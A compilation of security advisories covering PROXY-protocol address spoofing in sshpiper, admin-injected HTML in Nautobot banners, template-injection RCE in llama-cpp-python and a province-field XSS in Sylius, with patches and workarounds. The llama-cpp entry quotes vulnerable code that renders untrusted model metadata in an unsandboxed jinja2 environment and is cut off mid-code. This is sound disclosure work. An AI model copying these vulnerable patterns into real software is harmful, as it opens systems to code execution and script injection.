When connecting through HAProxy, sshpiper will log connections as originating from `1.1.1.1`.  The proxy protocol data is designed to survive multiple load balancers or proxies and pass through to sshpiper at the end, so it should only be enabled trusted environments. This should be behind a configuration option or startup flag to prevent abuse when public connections can be made to sshpiper.

This is also backed up by [the specification for proxy protocol](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt):

> The receiver MUST be configured to only receive the protocol described in this
specification and MUST not try to guess whether the protocol header is present
or not. This means that the protocol explicitly prevents port sharing between
public and private access. Otherwise it would open a major security breach by
allowing untrusted parties to spoof their connection addresses. The receiver
SHOULD ensure proper access filtering so that only trusted proxies are allowed
to use this protocol.

### Impact

Any users of sshpiper who need logs from it for whitelisting/rate limiting/security investigations could have them become much less useful if an attacker is sending a spoofed source address.


Nautobot's BANNER_* configuration can be used to inject arbitrary HTML content into Nautobot pages

[Severity: HIGH]

### Impact

A Nautobot user with admin privileges can modify the `BANNER_TOP`, `BANNER_BOTTOM`, and `BANNER_LOGIN` configuration settings via the `/admin/constance/config/` endpoint. Normally these settings are used to provide custom banner text at the top and bottom of all Nautobot web pages (or specifically on the login page in the case of `BANNER_LOGIN`) but it was reported that an admin user can make use of these settings to inject arbitrary HTML, potentially exposing Nautobot users to security issues such as cross-site scripting (stored XSS).

### Patches
_Has the problem been patched? What versions should users upgrade to?_

Patches will be released as part of Nautobot 1.6.22 and 2.2.4.

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

As [described in the Nautobot documentation](https://docs.nautobot.com/projects/core/en/stable/user-guide/administration/configuration/optional-settings/#administratively-configurable-settings), these settings are only configurable through the admin UI of Nautobot if they are *not* explicitly set to some non-empty value in the `nautobot_config.py` or equivalent Nautobot configuration file. Therefore, adding the following configuration to said file completely mitigates this vulnerability in both Nautobot 1.x and 2.x:

```python
BANNER_LOGIN = " "
BANNER_TOP = " "
BANNER_BOTTOM = " "
```

or alternately (Nautobot 2.x only), if those variables are not defined explicitly in your configuration file, setting the following environment variables for the Nautobot user account serves the same purpose:

```shell
NAUTOBOT_BANNER_LOGIN=" "
NAUTOBOT_BANNER_TOP=" "
NAUTOBOT_BANNER_BOTTOM=" "
```

Limiting all users who do not need elevated privileges to non-admin access (`is_superuser: False` and `is_staff: False`) is a partial mitigation as well.

### References

- https://github.com/nautobot/nautobot/pull/5697
- https://github.com/nautobot/nautobot/pull/5698


llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata

[Severity: CRITICAL]

## Description

`llama-cpp-python` depends on class `Llama` in `llama.py` to load `.gguf` llama.cpp or Latency Machine Learning Models. The `__init__` constructor built in the `Llama` takes several parameters to configure the loading and running of the model. Other than `NUMA, LoRa settings`, `loading tokenizers,` and `hardware settings`, `__init__` also loads the `chat template` from targeted `.gguf` 's Metadata and furtherly parses it to `llama_chat_format.Jinja2ChatFormatter.to_chat_handler()` to construct the `self.chat_handler` for this model. Nevertheless, `Jinja2ChatFormatter` parse the `chat template` within the Metadate with sandbox-less `jinja2.Environment`, which is furthermore rendered in `__call__` to construct the `prompt` of interaction. This allows `jinja2` Server Side Template Injection which leads to RCE by a carefully constructed payload.

## Source-to-Sink

### `llama.py` -> `class Llama` -> `__init__`:

```python
class Llama:
    """High-level Python wrapper for a llama.cpp model."""

    __backend_initialized = False

    def __init__(
        self,
        model_path: str,
		# lots of params; Ignoring
    ):

        self.verbose = verbose

        set_verbose(verbose)

        if not Llama.__backend_initialized:
            with suppress_stdout_stderr(disable=verbose):
                llama_cpp.llama_backend_init()
            Llama.__backend_initialized = True

		# Ignoring lines of unrelated codes.....

        try:
            self.metadata = self._model.metadata()
        except Exception as e:
            self.metadata = {}
            if self.verbose:
                print(f"Failed to load metadata: {e}", file=sys.stderr)

        if self.verbose:
            print(f"Model metadata: {self.metadata}", file=sys.stderr)

        if (
            self.chat_format is None
            and self.chat_handler is None
            and "tokenizer.chat_template" in self.metadata
        ):
            chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata(
                self.metadata
            )

            if chat_format is not None:
                self.chat_format = chat_format
                if self.verbose:
                    print(f"Guessed chat format: {chat_format}", file=sys.stderr)
            else:
                template = self.metadata["tokenizer.chat_template"]
                try:
                    eos_token_id = int(self.metadata["tokenizer.ggml.eos_token_id"])
                except:
                    eos_token_id = self.token_eos()
                try:
                    bos_token_id = int(self.metadata["tokenizer.ggml.bos_token_id"])
                except:
                    bos_token_id = self.token_bos()

                eos_token = self._model.token_get_text(eos_token_id)
                bos_token = self._model.token_get_text(bos_token_id)

                if self.verbose:
                    print(f"Using gguf chat template: {template}", file=sys.stderr)
                    print(f"Using chat eos_token: {eos_token}", file=sys.stderr)
                    print(f"Using chat bos_token: {bos_token}", file=sys.stderr)

                self.chat_handler = llama_chat_format.Jinja2ChatFormatter(
                    template=template,
                    eos_token=eos_token,
                    bos_token=bos_token,
                    stop_token_ids=[eos_token_id],
                ).to_chat_handler()

        if self.chat_format is None and self.chat_handler is None:
            self.chat_format = "llama-2"
            if self.verbose:
                print(f"Using fallback chat format: {chat_format}", file=sys.stderr)

```

In `llama.py`, `llama-cpp-python` defined the fundamental class for model initialization parsing (Including `NUMA, LoRa settings`, `loading tokenizers,` and stuff ). In our case, we will be focusing on the parts where it processes `metadata`; it first checks if `chat_format` and `chat_handler` are `None` and checks if the key `tokenizer.chat_template` exists in the metadata dictionary `self.metadata`. If it exists, it will try to guess the `chat format` from the `metadata`. If the guess fails, it will get the value of `chat_template` directly from `self.metadata.self.metadata` is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the `chat_template` is parsed into `llama_chat_format.Jinja2ChatFormatter` as params which furthermore stored the `to_chat_handler()` as `chat_handler`

### `llama_chat_format.py` -> `Jinja2ChatFormatter`:

`self._environment =  jinja2.Environment( -> from_string(self.template) -> self._environment.render(`

```python
class ChatFormatter(Protocol):
    """Base Protocol for a chat formatter. A chat formatter is a function that
    takes a list of messages and returns a chat format response which can be used
    to generate a completion. The response can also include a stop token or list
    of stop tokens to use for the completion."""

    def __call__(
        self,
        *,
        messages: List[llama_types.ChatCompletionRequestMessage],
        **kwargs: Any,
    ) -> ChatFormatterResponse: ...

class Jinja2ChatFormatter(ChatFormatter):
    def __init__(
        self,
        template: str,
        eos_token: str,
        bos_token: str,
        add_generation_prompt: bool = True,
        stop_token_ids: Optional[List[int]] = None,
    ):
        """A chat formatter that uses jinja2 templates to format the prompt."""
        self.template = template
        self.eos_token = eos_token
        self.bos_token = bos_token
        self.add_generation_prompt = add_generation_prompt
        self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None

        self._environment = jinja2.Environment(
            loader=jinja2.BaseLoader(),
            trim


Sylius has potential Cross Site Scripting vulnerability via the "Province" field in the Checkout and Address Book

[Severity: MEDIUM]

### Impact

There is a possibility to save XSS code in province field in the Checkout and Address Book and then execute it on these pages. The problem occurs when you open the address step page in the checkout or edit the address in the address book. This only affects the base UI Shop provided by Sylius.

### Patches
The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.16, 1.13.1 and above.

### Workarounds

1. Create new file `assets/shop/sylius-province-field.js`:

```js
// assets/shop/sylius-province-field.js

function sanitizeInput(input) {
  const div = document.createElement('div');
  div.textContent = input;
  return div.innerHTML; // Converts text content to plain HTML, stripping any scripts
}

const getProvinceInputValue = function getProvinceInputValue(valueSelector) {
  return valueSelector == undefined ? '' : `value="${sanitizeInput(valueSelector)}"`;
};

$.fn.extend({
  provinceField() {
    const countrySelect = $('select[name$="[countryCode]"]');

    countrySelect.on('change', (event) => {
      const select = $(event.currentTarget);
      const provinceContainer = select.parents('.field').next('div.province-container');

      const provinceSelectFieldName = select.attr('name').replace('country', 'province');
      const provinceInputFieldName = select.attr('name').replace('countryCode', 'provinceName');

      const provinceSelectFieldId = select.attr('id').replace('country', 'province');
      const provinceInputFieldId = select.attr('id').replace('countryCode', 'provinceName');

      const form = select.parents('form');

      if (select.val() === '' || select.val() == undefined) {
        provinceContainer.fadeOut('slow', () => {
          provinceContainer.html('');
        });

        return;
      }

      provinceContainer.attr('data-loading', true);
      form.addClass('loading');

      $.get(provinceContainer.attr('data-url'), { countryCode: select.val() }, (response) => {
        if (!response.content) {
          provinceContainer.fadeOut('slow', () => {
            provinceContainer.html('');

            provinceContainer.removeAttr('data-loading');
            form.removeClass('loading');
          });
        } else if (response.content.indexOf('select') !== -1) {
          provinceContainer.fadeOut('slow', () => {
            const provinceSelectValue = getProvinceInputValue((
              $(provinceContainer).find('select > option[selected$="selected"]').val()
            ));

            provinceContainer.html((
              response.content
                .replace('name="sylius_address_province"', `name="${provinceSelectFieldName}"${provinceSelectValue}`)
                .replace('id="sylius_address_province"', `id="${provinceSelectFieldId}"`)
                .replace('option value="" selected="selected"', 'option value=""')
                .replace(`option ${provinceSelectValue}`, `option ${provinceSelectValue}" selected="selected"`)
            ));
            provinceContainer.addClass('required');
            provinceContainer.removeAttr('data-loading');

            provinceContainer.fadeIn('fast', () => {
              form.removeClass('loading');
            });
          });
        } else {
          provinceContainer.fadeOut('slow', () => {
            const provinceInputValue = getProvinceInputValue($(provinceContainer).find('input').val());

            provinceContainer.html((
              response.content
                .replace('name="sylius_address_province"', `name="${provinceInputFieldName}"${provinceInputValue}`)
                .replace('id="sylius_address_province"', `id="${provinceInputFieldId}"`)
            ));

            provinceContainer.removeAttr('data-loading');

            provinceContainer.fadeIn('fast', () => {
              form.removeClass('loading');
            });
          });
        }
      });
    });

    if (countrySelect.val() !== '') {
      countrySelect.trigger('change');
    }

    if ($.trim($('div.province-container').text()) === '') {
      $('select.country-select').trigger('change');
    }

    const shippingAddressCheckbox = $('input[type="checkbox"][name$="[differentShippingAddress]"]');
    const shippingAddressContainer = $('#sylius-shipping-address-container');
    const toggleShippingAddress = function toggleShippingAddress() {
      shippingAddressContainer.toggle(shippingAddressCheckbox.prop('checked'));
    };
    toggleShippingAddress();
    shippingAddressCheckbox.on('change', toggleShippingAddress);
  },
});
```

2. Add new import in `assets/shop/entry.js`:

```js
// assets/shop/entry.js
// ...
import './sylius-province-field';
```

3. If you're using Gulp, update your `gulpfile.babel.js`:

```diff
  import chug from 'gulp-chug';
+ import concat from 'gulp-concat';
  import gulp from 'gulp';
  import yargs from 'yargs';

  const { argv } = ...

+ const rootPath = argv.rootPath || 'public/assets';
+
  const config = [...];
    '--rootPath',
    argv.rootPath || '../../../../../../../public/assets',
    '--nodeModulesPath',
    argv.nodeModulesPath || '../../../../../../../node_modules',
  ];

  ...

  export const buildShop = ...

+ export const patchShopJs = function patchShopJs() {
+   return gulp.src([
+     `${rootPath}/shop/js/app.js`,
+     'assets/shop/sylius-province-field.js',
+   ])
+     .pipe(concat('app.js'))
+     .pipe(gulp.dest(`${rootPath}/shop/js`));
+ };
+ patchShopJs.description = 'Append shop security patches to built app.js.';

 ...

- export const build = gulp.parallel(buildAdmin, buildShop);
+ export const build = gulp.series(
+   gulp.parallel(buildAdmin, buildShop),
+   patchShopJs,
+ );

 ...

- gulp.task('shop', buildShop);
+ gulp.task('shop', gulp.series(buildShop, patchShopJs));

  ...
```

4. Rebuild your assets:

```bash
yarn build
```

### Acknowledgements

This security issue has been reported by @r2